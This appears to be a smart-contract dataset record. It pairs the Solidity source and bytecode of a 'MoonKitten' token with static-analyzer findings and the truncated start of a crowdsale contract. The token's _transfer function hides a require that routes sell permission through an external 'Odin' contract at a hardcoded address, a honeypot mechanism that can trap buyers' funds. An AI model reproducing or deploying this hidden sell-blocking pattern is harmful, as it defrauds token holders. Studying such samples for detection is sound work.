function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonKitten is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600b81526020017f4d6f6f6e204b697474656e000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4d4f4f4e4b495454454e00000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b60008060006007549050600067016345785d8a0000905061194f67016345785d8a000060075461170690919063ffffffff16565b82101561196d5760075467016345785d8a0000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220033a7edaa39955cf0d0257ffc95e7db79fc66f9d767addaaea3e4f7d746b130764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,110 |
0x6eace29b1acd5881d6e0e1e3a9d067e9664c5d58
|
pragma solidity 0.4.22;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _amount) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
function decimals()public view returns (uint8);
}
/**
* @title Vault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Funds will be transferred to owner once sale ends
*/
contract Vault is Ownable {
using SafeMath for uint256;
enum State { Active, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event withdrawn(address _wallet);
function Vault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) public onlyOwner payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
Closed();
}
function withdrawToWallet() onlyOwner public{
require(state == State.Closed);
wallet.transfer(this.balance);
withdrawn(wallet);
}
}
contract MIOTCrowdsales is Ownable{
using SafeMath for uint256;
//Token to be used for this sale
Token public token;
//All funds will go into this vault
Vault public vault;
//Total tokens which is on for sale
uint256 public crowdSaleHardCap;
//There can be 5 tiers and it will contain info about each tier
struct TierInfo{
uint256 hardcap;
uint256 startTime;
uint256 endTime;
uint256 rate;
uint8 bonusPercentage;
uint256 weiRaised;
}
//info of each tier
TierInfo[] public tiers;
//Total funding
uint256 public totalFunding;
uint8 public noOfTiers;
uint256 public tokensSold;
//Keep track whether sales is active or not
bool public salesActive;
//Keep track of whether the sale has ended or not
bool public saleEnded;
bool public unspentCreditsWithdrawn;
//to make sure contract is poweredup only once
bool contractPoweredUp = false;
//Event to trigger Sale stop
